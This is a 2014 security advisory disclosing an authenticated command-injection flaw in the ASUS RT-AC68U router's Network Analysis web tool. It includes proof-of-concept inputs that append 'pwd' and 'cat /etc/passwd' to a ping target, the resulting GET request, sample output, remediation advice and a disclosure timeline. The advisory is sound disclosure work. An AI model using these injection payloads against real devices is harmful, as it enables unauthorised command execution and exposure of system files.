ASUS RT-AC68U Remote Command Execution

`=====[Alligator Security Team - Security Advisory]============================  
  
Remote Command Execution within the ASUS RT-AC68U Managing Web Interface  
  
Author: Joaquim Brasil de Oliveira < palulabrasil () gmail com >  
< twitter.com/palulabr >  
  
=====[Table of Contents]======================================================  
  
1. Overview  
2. Detailed description  
3. Other contexts & solutions  
4. Acknowledgements  
5. Timeline  
6. References  
  
=====[1. Overview]============================================================  
  
* Systems affected: ASUS RT-AC68U web interface - 3.0.0.4.374_4561 (verified)  
- 3.0.0.4.374.4755 (verified)  
- 3.0.0.4.374_4887 (verified)  
(other versions may be affected)  
* Release date: 04/04/2014  
* Impact: This vulnerability allows for an authenticated user to perform  
arbitrary command execution within the Network Tools of the ASUS  
RT-AC68U web management interface.  
  
The ASUS RT-AC68U is the world's fastest Wi-Fi router, with combined dual-band  
data rates of up to 1900 Mbps. 1300 Mbps 802.11ac at 5 GHz gives Gigabit  
wireless data rates, while Broadcom(R) TurboQAM(tm) technology super-charges 2.4 GHz  
802.11n performance from 450 Mbps to 600 Mbps with compatible devices[1].  
  
=====[2. Detailed description]================================================  
  
The ASUS RT-AC68U router has a web interface management tool designed to  
graphically assist users in configuring various features and/or diagnosing  
problems. However, there is a bug with the "Network Analysis" tab of this web  
management interface that results in granting remote command execution to logged  
in users.  
  
Furthermore, in order to exploit this bug, a logged in user needs to visit the  
aforementioned Network tab and choose any of the given methods (Ping, Traceroute  
or Nslookup). As a means to prove the concept proposed by this document, the  
Ping method was chosen and the following settings were stated:  
  
Method: PING  
Target: 127.0.0.1;pwd  
Count: 1 (in order to fasten things up!)  
  
The following GET request is generated as a result of using these settings:  
  
https://[router IPaddress]/apply.cgi?current_page=Main_Analysis_Content.asp&  
next_page=Main_Analysis_Content.asp&group_id=&modified=0&action_mode=+Refresh+&  
action_script=&action_wait=&first_time=&preferred_lang=EN&  
SystemCmd=ping+-c+1+127.0.0.1%3Bpwd&firmver=3.0.0.4&cmdMethod=ping&  
destIP=127.0.0.1%3Bpwd&pingCNT=1  
  
As can be seen in the aforementioned request, because of the fact that the  
application runs in a Linux environment, the pwd command will be stacked after  
the ping command. This, in turn, will force the router to run a "pwd" command  
after executing the "ping" command.  
  
The response of this request --- shown in the downwards textarea --- was:  
  
/www  
  
By changing the aforementioned input to "127.0.0.1;cat /etc/passwd" within the  
target input area, the application responds with the contents of the  
"/etc/passwd" file --- wich in turn, contains information regarding users in the  
given system.  
  
An example of the result in my system is shown below:  
  
[redacted]:x:0:0:[redacted]:/root:/bin/sh  
nas:x:100:100:nas:/dev/null:/dev/null  
nobody:x:65534:65534:nobody:/dev/null:/dev/null  
[redacted]:x:500:500:::  
[redacted]:x:200:200:::  
  
This bug occurs because the source code of the /www/Main_Analysis_Content.asp  
file concatenates the values inserted by the user without performing  
sanitization.  
  
The following snippet demonstrates a piece of code regarding the ping feature  
(which could be retrieved by inserting the "127.0.0.1;cat  
/www/Main_Analysis_Content.asp" value within the target input area):  
  
[code]  
  
if(document.form.cmdMethod.value == "ping"){  
if(document.form.pingCNT.value == ""){  
document.form.pingCNT.value = 5;  
}  
document.form.SystemCmd.value = "ping -c " + document.form.pingCNT.value +  
" " + document.form.destIP.value;  
}  
else  
document.form.SystemCmd.value = document.form.cmdMethod.value + " " +  
document.form.destIP.value;  
document.form.submit();  
  
[/code]  
  
As can be seen, the document.form.SystemCmd.value = "ping -c " +  
document.form.pingCNT.value + " " + document.form.destIP.value; instruction  
concatenates the data entered by the user without performing sanitization.  
  
This vulnerability is considered critical, however it's viability ---  
exploitability ease --- is not considered high since the attacker needs to gain  
access to the router's management interface in order to exploit it. But on the  
other other hand, it is important to mention that performing operating system  
commands freely is not a feature provided by the aforementioned management  
interface interface so, as a consequence, by exploiting this vulnerability an  
attacker is given opportunity to perform high profile execution of arbitrary  
commands within the given asset's operating system.  
  
=====[3. Other contexts & solutions]==========================================  
  
Other tests were performed with the Nslookup and Traceroute methods, which in  
turn, also revealed themselves vulnerable.  
  
In order to erradicate this problem, the server receiving the request must  
validate user input in order to strictly allow IP address inputs or, the use of  
strictly defined host addresses (such as www.facebook.com). An approach regards  
using white listing measures in order to allow --- exclusively --- the insertion  
of IP addresses (e.g: 127.0.0.1) or hostnames (e.g: wwww.facebook.com). In this  
given scenario, any other input would be discarded.  
  
As previously mentioned, a potential attacker could take advantage of this issue  
to perform high profile execution of arbitrary commands within the given asset's  
operating system.  
  
=====[4. Acknowledgements]====================================================  
  
- Heyder Andrade < heyder andrade () gmail com >  
- Leandro Oliveira < leandrofernando () gmail com >  
  
=====[5. Timeline]============================================================  
  
03/10/2014 - ASUS was contacted;  
03/11/2014 - ASUS Brazilian support directed me to ASUS North America;  
03/11/2014 - ASUS North America was contacted;  
03/24/2014 - ASUS acknowledged the vulnerability, shipped a beta version  
regarding the next firmware release (3.0.0.4.374.4755) and,  
established a time window in order to publish the patch;  
03/27/2014 - ASUS pushed a new beta firmware release (3.0.0.4.374.4887);  
04/03/2014 - ASUS resolved issue in beta firmware release (3.0.0.4.374_4983);  
04/04/2014 - ASUS released a stable firmware patch (3.0.0.4.374.5047) in its  
support site[2]  
04/04/2014 - Advisory publication date.  
  
=====[6. References]==========================================================  
  
[1] http://www.asus.com/Networking/RTAC68U/  
[2] http://www.asus.com/Networking/RTAC68U/#support  
  
  
`